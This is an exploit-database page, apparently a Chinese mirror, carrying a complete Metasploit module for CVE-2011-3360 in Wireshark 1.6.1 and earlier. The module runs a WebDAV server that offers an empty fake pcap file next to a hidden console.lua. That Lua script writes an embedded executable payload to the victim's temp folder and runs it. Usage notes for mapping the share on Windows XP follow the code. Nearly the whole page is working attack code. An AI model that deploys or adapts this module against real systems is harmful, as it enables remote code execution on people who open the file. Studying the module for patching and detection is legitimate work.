发布 2011-11-19 漏洞条目

Wireshark – console.lua pre-loading (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize(info={})

super(update_info(info,

'Name' => "Wireshark console.lua pre-loading vulnerability",

'Description' => %q{

This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a

pcap file, Wireshark will actually check if there's a 'console.lua' file in the same

directory, and then parse/execute the script if found. Versions affected by this

vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8

'License' => MSF_LICENSE,

'Author' =>

[

'sinn3r', #Metasploit

'References' =>

[

['CVE', '2011-3360'],

['OSVDB', '75347'],

['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'],

['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637']

'Payload' =>

{

'BadChars' => "\x00",

'DefaultOptions' =>

{

'ExitFunction' => "none"

'Platform' => 'win',

'Targets' =>

[

['Wireshark 1.6.1 or less', {}],

'Privileged' => false,

'DisclosureDate' => "Jul 18 2011", #Didn't go public until 2011-09-21 though

'DefaultTarget' => 0))

register_options(

[

OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),

OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),

OptString.new('URIPATH', [ true, "The URI to use", "/" ]),

OptString.new('FILENAME', [ true, "The name of the pcap file", "msf.pcap"])

], self.class)

deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL

end

def on_request_uri(cli, request)

case request.method

when 'OPTIONS'

process_options(cli, request)

when 'PROPFIND'

process_propfind(cli, request)

when 'GET'

process_get(cli, request)

else

print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")

resp = create_response(404, "Not Found")

resp.body = ""

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

end

def process_get(cli, request)

print_status("URI requested: #{request.uri.to_s}")

if request.uri =~ /\.lua$/

# Load lua script

print_status("Sending lua script")

send_response(cli, @p, {'Content-Type'=>'application/octet-stream'})

elsif request.uri =~ /#{datastore['FILENAME']}/

# Load an empty pcap file

# Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat

pcap = ''

pcap << "\xd4\xc3\xb2\xa1" #Magic number

pcap << "\x02\x00" #Major version number

pcap << "\x04\x00" #Minor version number

pcap << "\x00\x00\x00\x00" #GMT to local correction

pcap << "\x00\x00\x00\x00" #Accuracy of timestamp

pcap << "\xff\xff\x00\x00" #Maxlength of captured packets in octets

pcap << "\x01\x00\x00\x00" #Data length type

print_status("Sending fake pcap file")

send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'})

else

# Don't know the request, return not found

print_error("Don't care about this file, 404")

send_not_found(cli)

end

return

end

def process_options(cli, request)

vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")

headers = {

'MS-Author-Via' => 'DAV',

'DASL' => '<DAV:sql>',

'DAV' => '1, 2',

'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',

'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',

'Cache-Control' => 'private'

}

resp = create_response(207, "Multi-Status")

headers.each_pair {|k,v| resp[k] = v }

resp.body = ''

resp['Content-Type'] = 'text/xml'

cli.send_response(resp)

end

def process_propfind(cli, request)

path = request.uri

vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")

body = ''

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

my_uri = "http://#{my_host}/"

if path !~ /\/$/

if path.index(".")

print_status("Sending 404 for #{path} ...")

resp = create_response(404, "Not Found")

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

else

print_status("Sending 301 for #{path} ...")

resp = create_response(301, "Moved")

resp["Location"] = path + "/"

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

end

print_status("Sending directory multistatus for #{path} ...")

body = <<-BODY

<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>

<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

BODY

body = body.gsub(/^\t\t/, '')

if request["Depth"].to_i > 0

if path.scan("/").length < 2

body << generate_shares(path)

else

#Set filenames, and set the hidden attribute

filenames =

[

['console.lua', true],

[datastore['FILENAME'], false]

]

body << generate_files(path, filenames)

end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml; charset="utf8"'

cli.send_response(resp)

end

def gen_timestamp(ttype=nil)

::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")

end

def gen_datestamp(ttype=nil)

::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")

end

def generate_shares(path)

share_name = datastore['SHARENAME']

share = <<-SHARE

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{share_name}/</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

share = share.gsub(/^\t\t/, '')

return share

end

def generate_files(path, items)

trail = path.split("/")

return "" if trail.length < 2

files = ""

items.each do |f, hide|

h = hide ? '1' : '0'

files << <<-FILES

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{f}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<lp2:executable>T</lp2:executable>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

<D:ishidden b:dt="boolean">#{h}</D:ishidden>

</D:propstat>

</D:response>

FILES

end

files = files.gsub(/^\t\t\t/, '')

return files

end

def get_lua_payload

# Generate our executable payload, and then convert every byte

# in decimal format

p = generate_payload_exe

buf = ''

p.each_byte do |b|

buf << "\\#{b.to_s}"

end

# Create the lua script that contains our payload

var_payload_name = rand_text_alpha(5)

var_temp_name = rand_text_alpha(5)

lua_script = <<-LUA

#{var_payload_name} = "#{buf}"

#{var_temp_name} = os.getenv("TEMP") .. os.tmpname() .. ".exe"

local f = io.open(#{var_temp_name}, "wb")

f:write(#{var_payload_name})

f:close()

os.execute(#{var_temp_name})

LUA

lua_script = lua_script.gsub(/^\t\t/, '')

return lua_script

end

def exploit

@p = get_lua_payload

super

end

=begin

Example of how to open the share:

My Computer -> Tools -> Map Network Driver -> Sign up for online storage or

connect to a network server -> Choose another network location ->

enter the network address

On an unpatched XP SP3 (and other Windows systems), the ideal URI format is like this:

http://192.168.1.11/

But on a fully patched XP SP3, the same URI format will not work. Windows will try to list

the share via SMB, and the victim will not see the share. In this case, you should specify

the URI to like this:

http://192.168.1.11/files

=end

作者: Metasploit
日期: 2011-11-19
类别: remote
平台: windows

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow